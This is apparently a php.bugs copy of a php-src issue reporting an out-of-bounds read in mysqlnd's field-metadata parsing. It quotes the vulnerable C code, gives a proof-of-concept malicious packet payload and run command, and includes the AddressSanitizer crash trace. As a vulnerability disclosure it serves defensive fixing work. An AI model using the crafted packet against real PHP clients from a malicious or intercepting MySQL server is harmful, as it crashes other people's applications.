[php-src] Issue #22663: Out-of-bounds read / crash in `ext/mysqlnd` when parsing result-set field metadata whose length-encoded string fields advance the parser pointer past the packet (`php_mysqlnd_rset_field_read`)

[email protected] (cxxz16) Fri, 10 Jul 2026 07:42:12 +0000
Newsgroups php.bugs
Message-ID <[email protected]>
Issue: https://github.com/php/php-src/issues/22663
Author: cxxz16

### Description

### Summary

When `ext/mysqlnd` parses result-set column (field) metadata, each metadata string component (catalog, db, table, org_table, name, org_name) is read with `READ_RSET_FIELD`, which reads a length-encoded length via `php_mysqlnd_net_field_length()` and then does `p += len` **without** verifying that `len` stays within the packet. A malicious or MITM MySQL server can send a field-metadata packet whose first length-encoded string declares an oversized length; the parser pointer `p` is advanced far past the end of the packet buffer, and the next `READ_RSET_FIELD` calls `php_mysqlnd_net_field_length()` on the out-of-bounds pointer, dereferencing unmapped memory and crashing the process.

The bug is reachable from an ordinary PHP application that connects with `mysqli` or `pdo_mysql` and runs a query; the malicious essence is entirely in the server-controlled result-metadata bytes. This is the result-metadata counterpart of CVE-2024-8929 (a mysqlnd over-read that was fixed in the row/value path); the per-field bound check is still missing in the field-metadata path.

### Details

`php_mysqlnd_net_field_length()` decodes a length-encoded integer by dereferencing the current pointer and advancing 1/3/4/9 bytes, with no packet-end bound:

`ext/mysqlnd/mysqlnd_wireprotocol.c` (around lines 92–114):

```c
zend_ulong
php_mysqlnd_net_field_length(const zend_uchar **packet)
{
    const zend_uchar *p= (const zend_uchar *)*packet;

    if (*p < 251) {                 // <-- dereferences *p with no bound
        (*packet)++;
        return (zend_ulong) *p;
    }
    switch (*p) {
        case 251: (*packet)++;   return MYSQLND_NULL_LENGTH;
        case 252: (*packet) += 3; return (zend_ulong) uint2korr(p+1);
        case 253: (*packet) += 4; return (zend_ulong) uint3korr(p+1);
        default:  (*packet) += 9; return (zend_ulong) uint4korr(p+1);
    }
}
```

`READ_RSET_FIELD` reads a lenenc length and advances `p` by it with no check that `len <= packet_end - p`:

`ext/mysqlnd/mysqlnd_wireprotocol.c` (around lines 1173–1186):

```c
#define READ_RSET_FIELD(field_name) do { \
        len = php_mysqlnd_net_field_length(&p); \
        if (UNEXPECTED(len == MYSQLND_NULL_LENGTH)) { \
            goto faulty_or_fake; \
        } else if (len != 0) { \
            meta->field_name = (const char *)p; \
            meta->field_name ## _length = len; \
            p += len; \                       // <-- unchecked advance past packet
            total_len += len + 1; \
        } else { \
            meta->field_name = mysqlnd_empty_string; \
            meta->field_name ## _length = 0; \
        } \
    } while (0)
```

`php_mysqlnd_rset_field_read()` calls it six times in a row, and only checks the packet bound **after** all six string fields (just before the fixed 12-byte section):

`ext/mysqlnd/mysqlnd_wireprotocol.c` (around lines 1239–1252):

```c
    READ_RSET_FIELD(catalog);
    READ_RSET_FIELD(db);
    READ_RSET_FIELD(table);
    READ_RSET_FIELD(org_table);
    READ_RSET_FIELD(name);
    READ_RSET_FIELD(org_name);

    /* 1 byte length */
    if (UNEXPECTED(12 != *p)) { ... }

    if ((size_t)((p - begin) + 12) > packet->header.size) {   // <-- too late
        php_error_docref(NULL, E_WARNING, "Premature end of data ...");
        goto premature_end;
    }
```

If the `catalog` field declares an oversized `len`, `p += len` pushes `p` far past the packet buffer; the very next `READ_RSET_FIELD(db)` calls `php_mysqlnd_net_field_length(&p)` which dereferences the out-of-bounds `p` (line 98) and crashes. The post-loop `(p - begin) + 12 > header.size` check never runs because the crash happens during the second field read.

The same code is present on the current `master` branch (verified 2026-04-13): `php_mysqlnd_net_field_length()` still dereferences `*p` with no bound, `READ_RSET_FIELD` still does an unchecked `p += len`, and the packet-bound check is still only performed after the six string fields.

### PoC

Environment:

- PHP 8.4.20 (CLI), built with `--enable-debug` and AddressSanitizer (`CFLAGS="-fsanitize=address -g -O0"`), `--enable-mysqlnd --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd`.
- A fake MySQL server (the PoC harness) that completes the handshake, sends an auth-OK, then sends a result-set header with one column followed by a malicious field-metadata packet.

The malicious server sends:

```text
result-set header: field_count = 1
field metadata packet payload: fe ff ff ff ff ff ff ff ff
                               ^^ lenenc prefix 0xfe => 8-byte length follows = 0xffffffffffffffff
```

Benign client skeleton:

```php
<?php
$mysqli = new mysqli($host, 'root', '', '', $port);
$mysqli->query('SELECT a FROM t');
```

Run (via the bundled fake-server harness):

```sh
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \
php mysqlnd_malicious_server_probe.php field_metadata_len_oob
```

Full AddressSanitizer output:

```text
[server] send result header 0100000101
[server] send field metadata huge lenenc catalog 09000002feffffffffffffffff
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1464497==ERROR: AddressSanitizer: SEGV on unknown address 0x521100024508 (pc 0x55a595b69a16 bp 0x7ffdd854d880 sp 0x7ffdd854d850 T0)
==1464497==The signal is caused by a READ memory access.
    #0 0x55a595b69a16 in php_mysqlnd_net_field_length /src/php/ext/mysqlnd/mysqlnd_wireprotocol.c:98
    #1 0x55a595b93b2e in php_mysqlnd_rset_field_read /src/php/ext/mysqlnd/mysqlnd_wireprotocol.c:1240
    #2 0x55a595b13a5b in mysqlnd_mysqlnd_res_meta_read_metadata_pub /src/php/ext/mysqlnd/mysqlnd_result_meta.c:62
    #3 0x55a595b26d34 in mysqlnd_mysqlnd_res_read_result_metadata_pub /src/php/ext/mysqlnd/mysqlnd_result.c:150
    #4 0x55a595b2d108 in mysqlnd_query_read_result_set_header /src/php/ext/mysqlnd/mysqlnd_result.c:300
    #5 0x55a595a05c4c in mysqlnd_mysqlnd_command_reap_result_pub /src/php/ext/mysqlnd/mysqlnd_commands.c:337
    #6 0x55a595a36291 in mysqlnd_mysqlnd_conn_data_reap_query_pub /src/php/ext/mysqlnd/mysqlnd_connection.c:858
    #7 0x55a595a336e8 in mysqlnd_mysqlnd_conn_data_query_pub /src/php/ext/mysqlnd/mysqlnd_connection.c:820
    #8 0x55a594cee11b in zif_mysqli_query /src/php/ext/mysqli/mysqli_nonapi.c:599
    ...
SUMMARY: AddressSanitizer: SEGV /src/php/ext/mysqlnd/mysqlnd_wireprotocol.c:98 in php_mysqlnd_net_field_length
```

The crash is a read at `php_mysqlnd_net_field_length` (`mysqlnd_wireprotocol.c:98`) reached from the second `READ_RSET_FIELD` in `php_mysqlnd_rset_field_read` (`:1240`), after the first field's oversized lenenc length advanced `p` out of bounds.

### Impact

This is an out-of-bounds read (CWE-125) of an attacker-advanced pointer, leading to a crash (denial of service). The attacker is a malicious or man-in-the-middle MySQL server (or any endpoint a benign PHP client connects to). Any application using `mysqli` or `pdo_mysql` that connects to an untrusted/compromised MySQL endpoint and issues a query is affected; a single crafted result-metadata packet aborts the worker process. It is the same class and attacker model as CVE-2024-8929 (mysqlnd heap over-read), in a result-metadata path where the per-field bound check is still missing.

### PHP Version

```plain
php<=8.5.6
ext/mysqlnd
```

### Operating System

_No response_